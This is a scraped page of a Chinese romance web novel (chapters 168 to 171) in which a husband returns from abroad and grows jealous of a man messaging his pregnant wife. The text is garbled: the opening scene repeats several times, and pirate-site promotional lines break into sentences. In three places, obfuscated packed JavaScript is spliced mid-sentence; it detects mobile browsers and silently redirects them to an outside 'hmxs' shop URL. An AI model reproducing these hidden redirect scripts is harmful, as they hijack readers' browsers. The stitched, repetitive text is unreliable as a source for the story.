“你吓死我了……我以为……我以为有坏人……你怎么能这样……你知不知道我有多担心……” 她哭得上气不接下气,把所有因为他失联而积压的焦虑,还有刚才那瞬间魂飞魄散的恐惧,全都化作眼泪倾泻出来。 陆京洲任由她捶打发泄,只是紧紧抱着她,大手一遍遍抚过她的后背,吻去她脸上的泪水,声音是前所未有的温柔和心疼:“我知道,我知道……是我不好,是我考虑不周。不哭了,笙笙,不哭了,我回来了,以后都不会这样了……” 哭了许久,岑予衿的情绪才慢慢平复下来,只剩下偶尔的抽噎。 她赖在他怀里,感受着他真实的心跳和体温,悬了许久的心终于彻底落了地。 “你怎么突然回来了?”她吸了吸鼻子,声音还带着浓重的鼻音,“傅聿琛……找到了吗?” 陆京洲沉默了片刻,将她搂得更紧了些,下巴蹭了蹭她的发顶,声音低沉,“有一点线索,指向国内。我不放心你一个人在家,就先回来了。具体的事情,明天再说。现在,你什么都别想,乖乖睡觉。” 他避重就轻,没有细说。 岑予衿此刻身心俱疲,也顾不上追问细节,只是在他怀里找了个最舒服的姿势,紧紧贴着他。 “阿洲……”她闭着眼睛,小声呢喃,“你要是再出国,带上我吧。” “好。”陆京洲吻了吻她的发心,郑重承诺,“我带你一起。” 卧室重新归于宁静,只余下两人交缠的呼吸声。 窗外的月光似乎也变得温柔起来,静静流淌在相拥而眠的两人身上。 岑予衿知道他从那么远的地方回来也累了,并没有再多说什么,往他怀里缩了缩。 她有好多好多好多事情要告诉他! 包括……自己出车祸撞了个男人,养在外面。 ……阿洲?”她的声音颤抖得不成样子,带着劫后余生的茫然和不确定,眼泪毫无预兆地涌了上来。 “真的是你?你……你怎么……你什么时候回来的?你不是在国外吗?我打你电话你也不接,发消息也不回,我以为……”她语无伦次,委屈、惊吓、还有骤然放松后席卷而来的虚弱感让她几乎说不出完整的句子。 陆京洲的心被她这副样子狠狠揪疼了。 他一边更紧地抱住她,用体温和坚实的怀抱给她安全感,一边不停地亲吻她的额头、脸颊,安抚着她仍在轻颤的身体,“是我,真的是我。对不起,笙笙,对不起……临时决定提前回来,想给你个惊喜,飞机上信号不好,落地又急着赶回来,没来得及看手机……吓到你了,是我不好,都是我的错……” 他一声声地道歉,耐心地解释,温热的气息拂过她的耳畔,熟悉的味道和触感终于一点点驱散了岑予衿心头的惊悸。 紧绷的神经松懈下来,巨大的委屈和后怕却如潮水般将她淹没。 她再也忍不住,埋进他怀里,“哇”地一声哭了出来,拳头没什么力气地捶打着他坚实的胸膛。 “你吓死我了……我以为……我以为有坏人……你怎么能这样……你知不知道我有多担心……” 她哭得上气不接下气,把所有因为他失联而积压的焦虑,还有刚才那瞬间魂飞魄散的恐惧,全都化作眼泪倾泻出来。 陆京洲任由她捶打发泄,只是紧紧抱着她,大手一遍遍抚过她的后背,吻去她脸上的泪水,声音是前所未有的温柔和心疼:“我知道,我知道……是我不好,是我考虑不周。不哭了,笙笙,不哭了,我回来了,以后都不会这样了……” 哭了许久,岑予衿的情绪才慢慢平复下来,只剩下偶尔的抽噎。 她赖在他怀里,感受着他真实的心跳和体温,悬了许久的心终于彻底落了地。 “你怎么突然回来了?”她吸了吸鼻子,声音还带着浓重的鼻音,“傅聿琛……找到了吗?” 陆京洲沉默了片刻,将她搂得更紧了些,下巴蹭了蹭她的发顶,声音低沉,“有一点线索,指向国内。我不放心你一个人在家,就先回来了。具体的事情,明天再说。现在,你什么都别想,乖乖睡觉。” 他避重就轻,没有细说。 岑予衿此刻身心俱疲,也顾不上追问细节,只是在他怀里找了个最舒服的姿势,紧紧贴着他。 “阿洲……”她闭着眼睛,小声呢喃,“你要是再出国,带上我吧。” “好。”陆京洲吻了吻她的发心,郑重承诺,“我带你一起。” 卧室重新归于宁静,只余下两人交缠的呼吸声。 窗外的月光似乎也变得温柔起来,静静流淌在相拥而眠的两人身上。 岑予衿知道他从那么远的地方回来也累了,并没有再多说什么,往他怀里缩了缩。 她有好多好多好多事情要告诉他! 包括……自己出车祸撞了个男人,养在外面。 ……阿洲?”她的声音颤抖得不成样子,带着劫后余生的茫然和不确定,眼泪毫无预兆地涌了上来。 “真的是你?你……你怎么……你什么时候回来的?你不是在国外吗?我打你电话你也不接,发消息也不回,我以为……”她语无伦次,委屈、惊吓、还有骤然放松后席卷而来的虚弱感让她几乎说不出完整的句子。 陆京洲的心被她这副样子狠狠揪疼了。 他一边更紧地抱住她,用体温和坚实的怀抱给她安全感,一边不停地亲吻她的额头、脸颊,安抚着她仍在轻颤的身体,“是我,真的是我。对不起,笙笙,对不起……临时决定提前回来,想给你个惊喜,飞机上信号不好,落地又急着赶回来,没来得及看手机……吓到你了,是我不好,都是我的错……” 他一声声地道歉,耐心地解释,温热的气息拂过她的耳畔,熟悉的味道和触感终于一点点驱散了岑予衿心头的惊悸。 紧绷的神经松懈下来,巨大的委屈和后怕却如潮水般将她淹没。 她再也忍不住,埋进他怀里,“哇”地一声哭了出来,拳头没什么力气地捶打着他坚实的胸膛。 “你吓死我了……我以为……我以为有坏人……你怎么能这样……你知不知道我有多担心……” 她哭得上气不接下气,把所有因为他失联而积压的焦虑,还有刚才那瞬间魂飞魄散的恐惧,全都化作眼泪倾泻出来。 陆京洲任由她捶打发泄,只是紧紧抱着她,大手一遍遍抚过她的后背,吻去她脸上的泪水,声音是前所未有的温柔和心疼:“我知道,我知道……是我不好,是我考虑不周。不哭了,笙笙,不哭了,我回来了,以后都不会这样了……” 哭了许久,岑予衿的情绪才慢慢平复下来,只剩下偶尔的抽噎。 她赖在他怀里,感受着他真实的心跳和体温,悬了许久的心终于彻底落了地。 “你怎么突然回来了?”她吸了吸鼻子,声音还带着浓重的鼻音,“傅聿琛……找到了吗?” 陆京洲沉默了片刻,将她搂得更紧了些,下巴蹭了蹭她的发顶,声音低沉,“有一点线索,指向国内。我不放心你一个人在家,就先回来了。具体的事情,明天再说。现在,你什么都别想,乖乖睡觉。” 他避重就轻,没有细说。 岑予衿此刻身心俱疲,也顾不上追问细节,只是在他怀里找了个最舒服的姿势,紧紧贴着他。 “阿洲……”她闭着眼睛,小声呢喃,“你要是再出国,带上我吧。” “好。”陆京洲吻了吻她的发心,郑重承诺,“我带你一起。” 卧室重新归于宁静,只余下两人交缠的呼吸声。 窗外的月光似乎也变得温柔起来,静静流淌在相拥而眠的两人身上。 岑予衿知道他从那么远的地方回来也累了,并没有再多说什么,往他怀里缩了缩。 她有好多好多好多事情要告诉他! 包括……自己出车祸撞了个男人,养在外面。 ……阿洲?”她的声音颤抖得不成样子,带着劫后余生的茫然和不确定,眼泪毫无预兆地涌了上来。 “真的是你?你……你怎么……你什么时候回来的?你不是在国外吗?我打你电话你也不接,发消息也不回,我以为……”她语无伦次,委 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16907745|191758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屈、惊吓、还有骤然放松后席卷而来的虚弱感让她几乎说不出完整的句子。 陆京洲的心被她这副样子狠狠揪疼了。 他一边更紧地抱住她,用体温和坚实的怀抱给她安全感,一边不停地亲吻她的额头、脸颊,安抚着她仍在轻颤的身体,“是我,真的是我。对不起,笙笙,对不起……临时决定提前回来,想给你个惊喜,飞机上信号不好,落地又急着赶回来,没来得及看手机……吓到你了,是我不好,都是我的错……” 他一声声地道歉,耐心地解释,温热的气息拂过她的耳畔,熟悉的味道和触感终于一点点驱散了岑予衿心头的惊悸。 紧绷的神经松懈下来,巨大的委屈和后怕却如潮水般将她淹没。 她再也忍不住,埋进他怀里,“哇”地一声哭了出来,拳头没什么力气地捶打着他坚实的胸膛。 “你吓死我了……我以为……我以为有坏人……你怎么能这样……你知不知道我有多担心……” 她哭得上气不接下气,把所有因为他失联而积压的焦虑,还有刚才那瞬间魂飞魄散的恐惧,全都化作眼泪倾泻出来。 陆京洲任由她捶打发泄,只是紧紧抱着她,大手一遍遍抚过她的后背,吻去她脸上的泪水,声音是前所未有的温柔和心疼:“我知道,我知道……是我不好,是我考虑不周。不哭了,笙笙,不哭了,我回来了,以后都不会这样了……” 哭了许久,岑予衿的情绪才慢慢平复下来,只剩下偶尔的抽噎。 她赖在他怀里,感受着他真实的心跳和体温,悬了许久的心终于彻底落了地。 “你怎么突然回来了?”她吸了吸鼻子,声音还带着浓重的鼻音,“傅聿琛……找到了吗?” 陆京洲沉默了片刻,将她搂得更紧了些,下巴蹭了蹭她的发顶,声音低沉,“有一点线索,指向国内。我不放心你一个人在家,就先回来了。具体的事情,明天再说。现在,你什么都别想,乖乖睡觉。” 他避重就轻,没有细说。 岑予衿此刻身心俱疲,也顾不上追问细节,只是在他怀里找了个最舒服的姿势,紧紧贴着他。 “阿洲……”她闭着眼睛,小声呢喃,“你要是再出国,带上我吧。” “好。”陆京洲吻了吻她的发心,郑重承诺,“我带你一起。” 卧室重新归于宁静,只余下两人交缠的呼吸声。 窗外的月光似乎也变得温柔起来,静静流淌在相拥而眠的两人身上。 岑予衿知道他从那么远的地方回来也累了,并没有再多说什么,往他怀里缩了缩。 她有好多好多好多事情要告诉他! 包括……自己出车祸撞了个男人,养在外面。 ……阿洲?”她的声音颤抖得不成样子,带着劫后余生的茫然和不确定,眼泪毫无预兆地涌了上来。 “真的是你?你……你怎么……你什么时候回来的?你不是在国外吗?我打你电话你也不接,发消息也不回,我以为……”她语无伦次,委屈、惊吓、还有骤然放松后席卷而来的虚弱感让她几乎说不出完整的句子。 陆京洲的心被她这副样子狠狠揪疼了。 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包括……自己出车祸撞了个男人,养在外面。 第169章 老婆姐姐~ 岑予衿往他怀里又缩了缩鼻尖蹭着他衬衫上淡淡的雪松味混着一丝若有似无的烟草气息。 那是独属于陆京洲的味道是刻进她骨子里的安心。 她无意识地往他颈窝蹭了蹭温热的呼吸拂过他的喉结带起一阵细密的痒。 困意如同涨潮的海水汹涌地漫过四肢百骸。 她的眼皮越来越沉纤长的睫毛轻轻颤了颤 均匀的呼吸拂在他颈侧像羽毛轻轻搔刮着他痒意顺着血脉一路钻进心底最软的地方。 陆京洲低头目光黏在怀中人恬静的睡颜上眼底的红血丝里交织着连日奔波的疲惫和失而复得的温柔。 他收紧手臂小心翼翼地将她和那微微隆起的小腹都护在怀里掌心贴着她细腻的肌肤。 还是抱着老婆睡最舒服。 他在心里喟叹一声。 这几天在国外不是挤在颠簸的车里就是蜷在冰冷的酒店闭眼是满脑子的线索睁眼是无边无际的思念和担忧哪里有此刻怀里的温软来得实在。 要不是顾忌着她怀着宝宝经不起长途折腾他真想把她揣在口袋里走到哪带到哪。 陆京洲看着她熟睡的眉眼终究还是没忍住微微俯身在她光洁的额头上印下一个极轻的吻。 柔软的触感像是带着电流瞬间窜遍四肢百骸。 他只是亲了一下就上瘾了。 他的唇瓣舍不得离开顺着光洁的额头缓缓下移掠过她舒展的眉峰落在小巧挺翘的鼻尖上轻轻蹭了蹭像是在把玩一件稀世珍宝。 岑予衿的鼻息微微乱了发出一声细碎的嘤咛脸颊蹭着他的衬衫无意识地往他怀里钻得更深。 陆京洲的喉结滚了滚目光愈发深邃带着夜色般的缱绻。 他抵着她的鼻尖呼吸交缠温热的气息拂在她的唇上惹得那柔软的唇瓣轻轻颤了颤。 他终究还是俯身吻住了那朝思暮想的唇。 这个吻极轻极柔带着小心翼翼的珍视像是怕惊扰了怀中的美梦。 他的唇瓣轻轻摩挲着她的辗转厮磨间连空气里都弥漫开甜腻的暧昧。 岑予衿被这突如其来的触感扰了睡意不满地低吟了一声眉头微微蹙起小手攥住了他的衬衫衣角力道不大却带着几分依赖的娇憨。 陆京洲这才缓缓松开她指尖轻轻抚平她蹙起的眉头低头在她唇角啄了一下声音沙哑低沉 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 带着笑意轻声哄着“好了好了不闹了我不闹了老婆 “哼……”岑予衿像是听懂了又像是没听懂把头一埋深深扎进他的颈窝温热的呼吸全洒在他的肌肤上惹得他心口又是一阵发烫。 困意终于席卷而来陆京洲抵着她柔软的发顶眸色沉沉唇边噙着一抹满足的浅淡笑意紧绷了许久的神经彻底放松很快也坠入了梦乡。 窗外的月光透过薄纱窗帘在地板上洒下一片碎银似的清辉将相拥而眠的两人裹进一片朦胧的温柔里。 檀月山庄的夜静得只剩下两人交叠的呼吸声还有风穿过树叶时像是在诉说着无人知晓的缱绻。 窗外的鸟鸣声渐渐变得清晰晨光透过窗帘缝隙像一道金线斜斜地切进卧室空气中浮动着细微的尘埃。 岑予衿是被一种久违的、极度舒适的暖意包裹着醒来的。 意识回笼得很慢像沉在温水中一点点上浮。 她习惯性地想动一动有些发麻的手臂却发现自己被牢牢圈在一个坚实温暖的怀抱里。 动弹不得。 怀抱? 她混沌的大脑迟钝地运转着。 昨晚……陆京洲洲回来了? 是梦吗? 她有些茫然地眨了眨惺忪的睡眼视线首先落在近在咫尺微微敞开的衬衫领口以及线条凌厉的锁骨上。 再往上是凸起的喉结随着平缓的呼吸微微起伏。 心脏忽然不受控制地漏跳了一拍。 她屏住呼吸极慢地抬起眼睫目光一寸寸上移掠过线条分明的下颌。 掠过那新冒出青色胡茬显得有些落拓不羁的下巴掠过紧抿时显得薄情、此刻却放松地微张着的唇。 最终定格在那张即使睡着也英俊得令人屏息的脸上。 浓黑的剑眉高挺的鼻梁深邃的眼窝……睫毛很长在眼下投出一小片阴影遮住了平日里那双锐利迫人的眸子。 真的是他。 不是梦。 陆京洲真的回来了此刻就躺在她身边用最亲密无间的姿势拥抱着她睡得正沉。 眉宇间还残留着一丝挥之不去的倦色却奇异地透出一种前所未有的松弛。 岑予衿的心像是被温热的蜜糖浸泡着又软又胀泛出细细密密的甜。 昨夜那惊心动魄的恐惧和委屈此刻都化作了失而复得的巨大庆幸以及一种沉甸甸的几乎要满溢出来的柔情。 她 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 不敢动怕吵醒他。 他看起来累极了。 可是又忍不住想碰碰他确认这份真实。 她悄悄抬起那只没有被压住的手动作轻得不能再轻指尖带着一丝试探和迟疑缓缓靠近他的脸颊。 指尖先是触碰到他下巴上那有些扎手的胡茬微微的刺痒感从指腹传来异常真实。 她顿了顿指腹微微用力感受着那粗粝的质感心尖也跟着泛起细密的涟漪。 她的指尖顺着他的下颌线极其轻柔地向上滑去滑过他光滑的颧骨来到他微微眯起的眼角。 用指腹极轻地摩挲着像是在抚平那些看不见的疲惫。 她的目光贪婪地描摹着他的睡颜每一寸轮廓都让她着迷。 指尖最后停在他的眉骨上沿着那道漂亮的弧线轻轻勾勒。 睡梦中的陆京洲似乎感觉到了这细微的触碰眉头几不可察地动了动。 岑予衿吓得立刻缩回手屏住呼吸睁大眼睛看着他。 他只是无意识地偏了偏头将脸颊更贴近了她枕边的位置呼吸依旧绵长并没有醒来。 岑予衿松了口气心里却又有些说不清道不明的怅然。 她抿了抿唇再次伸出手这一次目标是他高挺的鼻梁。 她小心翼翼地用指尖点了点他的鼻尖又快速地缩回来像做贼一样眼睛一眨不眨地盯着他的反应。 陆京洲依然沉睡只是搭在她腰侧的手臂无意识地收紧了些许将她更密实地搂向自己。 这个细微的动作让岑予衿的心瞬间软得一塌糊涂。 温热的真实的她的陆京洲。 岑予衿的指尖还停留在他的眉骨上心里那点想逗逗他的小心思像破土的春芽般冒了出来。 她不想吵醒他可怀里的人近在咫尺温热的呼吸拂在她的颈侧那股子安心的感觉让她忍不住想闹一闹。 她小心翼翼地挪动身体生怕动作大了惊扰到他一点点跨坐在他的腰腹上。 柔软的丝绸睡裙滑过肌肤带来一阵微凉的触感。 她俯身整个人都趴在他身上胸口贴着他温热的胸膛能清晰听见他沉稳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936664|191758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有力的心跳声。 岑予衿双手捧着他的脸指腹轻轻摩挲着他带着胡茬的下颌鼻尖蹭了蹭他的鼻尖像只撒娇的小猫。 她压低声音一遍遍地唤他尾音带着软糯的鼻音缠缠绵绵的“老公老公 陆京洲的睫毛颤了颤 你的朋友正在书荒,快去帮帮他吧 ,眉心微蹙,显然是被这软乎乎的声音扰了清梦,却没舍得睁开眼。 他抬手,虚虚地握住她的手腕,指尖带着刚睡醒的慵懒,声音沙哑得厉害,“乖,再睡会儿……” 他的手掌覆在她的手背上,温热的触感传来。 岑予衿却不依不饶,又蹭了蹭他的脸颊,鼻尖蹭过他的唇瓣,带起一阵酥麻的痒意,“不要嘛,起床了。” “都这么长时间没有见我了,你就不想我,睡觉重要还是见我重要?” “我不管……你不许睡,你起来陪我。” 她的声音又软又甜,像裹了蜜,陆京洲终于撑着眼皮,缓缓睁开眼。 视线聚焦在她近在咫尺的脸上,那双清澈的眸子里满是笑意,映着晨光,亮得惊人。 他喉结滚了滚,抬手捏住她的下巴,指尖轻轻摩挲着,声音里带着浓浓的宠溺,“小坏蛋,故意的是不是?” 岑予衿被他捏着下巴,却一点都不怕,反而得寸进尺地凑上去,在他唇上啄了一下,像偷到糖的小狐狸,眉眼弯弯的,“我就是故意的,谁让你睡这么久。” 陆京洲被她这一下啄得心尖发痒,刚睡醒的沙哑嗓音里浸满了笑意,他松开她的手腕,转而扣住她的腰,稍微一用力,就让她更贴近自己。 鼻尖抵着她的鼻尖,温热的呼吸交织在一起,带着晨起独有的慵懒气息。 “那你说……”他故意拖长了语调,指腹轻轻摩挲着她细腻的腰侧肌肤,惹得她轻轻颤了一下,“老婆是想我多一点,还是想闹我多一点?” 岑予衿被他看得有些脸红,却还是梗着脖子,理直气壮地哼了一声,“都想!谁让你一声不吭就走,回来也不提前说,还吓我一跳。” 这话里带着点撒娇的埋怨,陆京洲听着,心头那点倦意瞬间散得干干净净。 他低头,在她唇角印下一个带着胡茬的吻,有点扎人,却又格外撩人。 “错了错了,老婆我错了,”他低笑着认错,手掌轻轻覆上她的小腹,动作温柔得不像话,“下次一定提前报备,好不好?” 感受到掌心下的柔软,还有那隐约的悸动,他的眼神瞬间柔得能滴出水来。 岑予衿被他这副模样弄得没了脾气,只好把头埋进他的颈窝,闷闷地哼唧,“哼~这还差不多。” 晨光透过窗帘缝隙,漏进来细碎的金光,落在两人交叠的身影上,暖洋洋的。 卧室里静悄悄的,只余下两人清浅的呼吸声,还有偶尔溢出的低语,温柔得不像话。 陆京洲是真的累,岑予衿也是真的饿。 她的作息很规律,先起床洗漱了。 陆京洲听着浴室里传来的水声,仅有的那点睡意也没了。 只是他知道不睡不行。 刚要蒙上被子,微信的声音就响了起来。 陆京洲拿过手机看了一眼,解锁了才发现不是自己的手机……是老婆的! 刚要放下,就被弹出来的微信消息吸引。 是有人添加她的微信。 而添加微信的备注写的是【老婆姐姐~】 陆京洲不自觉的攥紧了手机,老婆,姐姐是个什么玩意儿? 第170章 老婆你背着我养野男人! 陆京洲的眉峰瞬间拧紧指尖几乎要嵌进岑予衿那只嫩粉色蝴蝶手机壳里骨节因为用力而泛出青白。 他死死盯着屏幕上那个刺眼的备注——【老婆姐姐~】。 胸腔里像是有团野火“腾”地一下窜起来烧得他太阳穴突突直跳连带着后槽牙都咬得发酸。 老婆姐姐? 什么叫老婆姐姐? 老婆姐姐是什么意思? 哪个不要脸的野男人敢这么称呼他老婆? 这四个字像根淬了冰的细针狠狠扎在他紧绷的神经上疼得他呼吸都滞了半拍。 他的笙笙是他放在心尖上、捧在手心里疼了这么久的人什么时候成了别人的“姐姐”? 还被冠上这么亲昵又暧昧的前缀? 他的手指悬在屏幕上指尖微微发颤犹豫不过半秒就被一股说不清道不明的怒意裹挟着狠狠点下了通过验证的按钮。 他倒要看看是哪个不知死活的东西敢这么叫他的老婆。 几乎是下一秒对方的消息就噼里啪啦地跳了出来还附带了一条语音那红色的播放键在屏幕上格外扎眼。 陆京洲深吸一口气指腹重重戳开语音手机里立刻传来一道低沉的男声嗓音带着点奇异的沙哑像是喉咙受过伤。 可语气却黏糊糊的透着股与声线不符的、孩童般的稚气“老婆姐姐~我今天很乖哦陈叔带我去公园晒太阳了还吃了草莓蛋糕甜滋滋的和你一样甜~” 这声音……莫名的熟悉。 陈叔? 哪个陈叔? 是檀月山庄的陈叔? 陆京洲的眉头皱得更紧眉心拧成一个深深的川字脑海里飞速掠过无数个名字。 从生意场上的合作伙伴到岑予衿身边寥寥无几的朋友可翻来覆去却始终抓不住那点转瞬即逝的熟悉感。 还没等他细想新的消息又一条接一条地弹了出来像密集的鼓点敲得他的心脏阵阵发紧 【老婆姐姐我今天有乖乖吃药头不晕啦陈叔夸我听话呢!】 【陈叔说你最近很忙不能打扰你可是我好想你哦想你身上的味道】 【老婆姐姐我什么时候才能搬去和你住呀?我一个人睡晚上会怕会做噩梦~】 【我还想和你一起吃草莓蛋糕要你喂我才甜~才更好吃~】 陆京洲的脸色一寸寸沉下去周身 听说看这本书的人都是很幸运的,分享后你的运气会更棒 的气压低得吓人,连空气都像是被冻住了,透着刺骨的寒意。 他捏着手机的手越收越紧,指节泛白,手背青筋暴起,眼底翻涌着浓烈的占有欲和几乎要溢出来的怒意。 他老婆什么时候多了个这么黏人的“弟弟? 不仅敢叫得这么亲热,还敢肖想和她住在一起? 还想让她喂蛋糕? 他的笙笙,是他的,只能是他的。 凭什么? 一股火气直冲天灵盖。 陆京洲几乎要咬碎一口银牙,胸口的闷胀感让他恨不得立刻把手机摔出去。 他甚至顾不上琢磨那道声音到底像谁。 满脑子都是那些刺眼的文字,还有那句黏糊糊的“老婆姐姐~ 就在这时,浴室的水声“哗啦一声停了。 紧接着,是拖鞋踩在地板上的轻响。 岑予衿擦着湿漉漉的头发走出来,乌黑的发丝还在往下滴着水珠,落在她白皙的脖颈上,晕开一小片湿痕。 她身上穿着那件柔软的丝绸睡裙,衬得肌肤莹白如玉。 刚洗完澡的脸颊泛着淡淡的红晕,眉眼间还带着几分未散的慵懒。 她抬眼,就看见陆京洲靠在床头,脊背绷得笔直,脸色阴沉得吓人,眼神像是淬了冰,死死地盯着手机屏幕。 周身的空气都像是结了冰,连带着卧室里那点晨起的温馨,都被搅得荡然无存。 岑予衿愣了愣,脚步顿了顿,随手将毛巾搭在发梢,走到床边,伸手轻轻碰了碰他的胳膊。 她的指尖带着刚洗完澡的温热,触碰到他微凉的皮肤时,陆京洲的身体猛地一僵。 “阿洲?岑予衿的声音软乎乎的,带着点疑惑,“怎么了?谁惹你生气了? 她微微歪着头,凑近了些,试图看清他手机屏幕上的内容,可陆京洲却像是被烫到一样,猛地将手机倒扣在床头柜上,动作大得差点把手机甩出去。 这个突兀的动作让岑予衿又是一愣。 还没等她开口,陆京洲就猛地抬眼,目光锐利如刀,直直地射向她,那眼神里翻涌着无尽的醋意,还有一丝说不清道不明的委屈。 他喉结狠狠滚了滚,胸腔里的火气几乎要喷薄而出,声音冷得像冰,带着咬牙切齿的力道,“笙笙,你什么时候多了个黏人‘弟弟’? “嗯?岑予衿彻底懵了,眨了眨湿漉漉的睫毛,一脸茫然,“弟弟?什么弟弟? 她最近根本没认识什么新朋友,更别说什么弟弟了。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 陆京洲看着她这副无辜的样子,心里的火气更盛,他猛地伸手,一把攥住她的手腕,力道不算轻,却也没舍得弄疼她。 他的掌心滚烫,烫得岑予衿微微一颤。 他将她拉到自己面前,两人的距离瞬间拉近,近得能闻到她身上淡淡的沐浴露清香,还有那熟悉的,让他心安的味道。 可这味道此刻却像是火上浇油,让他心口的那团醋火烧得更旺。 陆京洲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936665|191758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盯着她的眼睛,那双平日里总是盛满温柔的眸子,此刻却翻涌着浓烈的占有欲。 他一字一句,像是从牙缝里挤出来的,带着浓浓的控诉,还有一丝不易察觉的委屈,“老婆,你背着我养野男人!” “啊?”岑予衿彻底傻了,眼睛瞪得圆圆的,像是听到了什么天方夜谭,“我养什么野男人了?阿洲你胡说什么呢!” 她下意识地想抽回手,可陆京洲却攥得更紧了。 他的另一只手伸过去,一把捞过床头柜上的手机,屏幕还亮着,那些刺眼的消息赫然出现在岑予衿眼前。 陆京洲将手机怼到她面前,指腹重重地戳着屏幕上那一声声“老婆姐姐”,声音沉得吓人,“那你告诉我,这个叫你‘老婆姐姐’,还想搬来和你一起住的人,是谁?” 岑予衿的目光落在屏幕上,瞳孔猛地一缩,脸色白了几分。 是他! 那个被她撞了之后,失忆了的男人。 她怎么把这一茬忘了? 陈叔说他恢复得不错,还学会用微信了,没想到……他竟然会主动加她,还叫得这么……亲热。 岑予衿的心跳瞬间乱了,眼神有些闪躲,下意识地想解释,“阿洲,你听我说,不是你想的那样,他……” “不是我想的哪样?”陆京洲打断她的话,眼底的醋意几乎要溢出来,他攥着她手腕的力道又重了些,语气里带着浓浓的委屈。 “叫你‘老婆姐姐’,还说想你,想和你住在一起,笙笙,你告诉我,他到底是谁?你什么时候认识的?为什么我不知道?” 他越说越激动,胸口剧烈起伏着,那股子憋屈和愤怒几乎要将他淹没。 他这几天在国外,累死累活地查线索,心心念念的都是她和肚子里的孩子,生怕她受一点委屈,可他一回来,就看到这么刺眼的东西。 他的老婆,竟然被别人这么惦记着。 陆京洲的眼眶微微泛红,不是哭,是气的,也是委屈的。 他低下头,额头抵着岑予衿的额头,两人的鼻尖碰在一起,呼吸交缠,他的声音带着一丝不易察觉的颤抖,“周芙笙,你是不是不想要我了?” 岑予衿看着他眼底的红血丝,还有那浓浓的委屈,心里咯噔一下,瞬间软了。 她知道他误会了,也知道他这是吃醋了,吃了天大的醋。 她反手握住他的手,指尖轻轻摩挲着他的手背,声音软得一塌糊涂,“阿洲,你别胡思乱想,真的不是你想的那样,他……” 她话还没说完,手机屏幕又亮了一下,一条新的消息弹了出来,像一根**,瞬间点燃了陆京洲最后一丝理智。 那条消息是:【老婆姐姐,我好想你,你什么时候来看我呀?我给你留了最后一块草莓蛋糕哦~】 第171章 我只喜欢你,最喜欢你,只爱你,最爱你! 陆京洲看着那条新弹出来的消息,眼眶瞬间红得更厉害了。 不是暴怒的红,而是委屈得发红,连眼尾都染上了一层薄薄的湿意。 他抓着手机,指尖都在抖,屏幕的光映在他眼底,晃晃悠悠的,像碎了的玻璃。 “你看……你看!”他声音都变了调,带着浓重的鼻音,委屈得不行,几乎要把手机举到岑予衿鼻尖前。 “他还这么叫!老婆姐姐……叫得这么顺口……是你让他这么叫的对不对?是你默许的,是不是?” 他像是抓住了什么铁证,眼底的控诉浓得化不开,又带着一丝孩子气的执拗和伤心。 “你真的……真的那么喜欢他?喜欢到让他这样叫你?” 他喉结剧烈地滚动了一下,声音低了下去,又猛地拔高,带着一股不管不顾的劲儿,“周芙笙,我才是你老公!正宫!明媒正娶的!你……你……太过分了。” 他指着她说得又急又气,胸口起伏着,那股酸涩的醋意混合着巨大的委屈,几乎要把他淹没。 他看着岑予衿近在咫尺的脸,看着她清澈眼眸里倒映出的自己那副狼狈又失控的样子,心里更难受了。 他这几天在外面奔波,神经时刻紧绷。 好不容易回到家,渴望的是她温柔的怀抱和全然的爱意,而不是这莫名其妙冒出来的“弟弟”和一声声刺耳的“老婆姐姐”。 这感觉,就像自己小心翼翼守护的宝贝,突然被别人觊觎,甚至已经分走了一丝关注,这让他无法忍受。 他猛地抱住她,手臂收得很紧,把脸埋在她还带着湿气的颈窝里,声音闷闷的,带着破碎的颤音,说出了那句在心底翻腾了无数次却又不敢真正要求的话,“你……你不许喜欢他!” 话一出口,他又觉得太过霸道,怕她生气,立刻慌乱地改口,声音更委屈了,带着点自暴自弃的意味,“不是……我、我的意思是……你可以喜欢他,但是……” 他顿了顿,仿佛用尽了全身力气,才把那句带着无限卑微和独占欲的话挤出来,“你不能最喜欢他,不能最爱他!” 说完,他像是耗尽了所有勇气,只是紧紧抱着她,身体微微发抖,呼吸灼**喷洒在她的皮肤上。 那语气,与其说是在命令,不如说是在祈求,是在慌乱无措地划下他最后的底线。 你可以对别人有好感,但你的心和爱,最深处、最重要的那一部分,必须是我的,只能是我的。 他甚至不敢要求“唯一”,只敢要求“最”,这退让 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 里包含着他多少不安,连他自己都未曾细想。 只是本能地想要抓住她,确认自己在她心中不可动摇的地位。 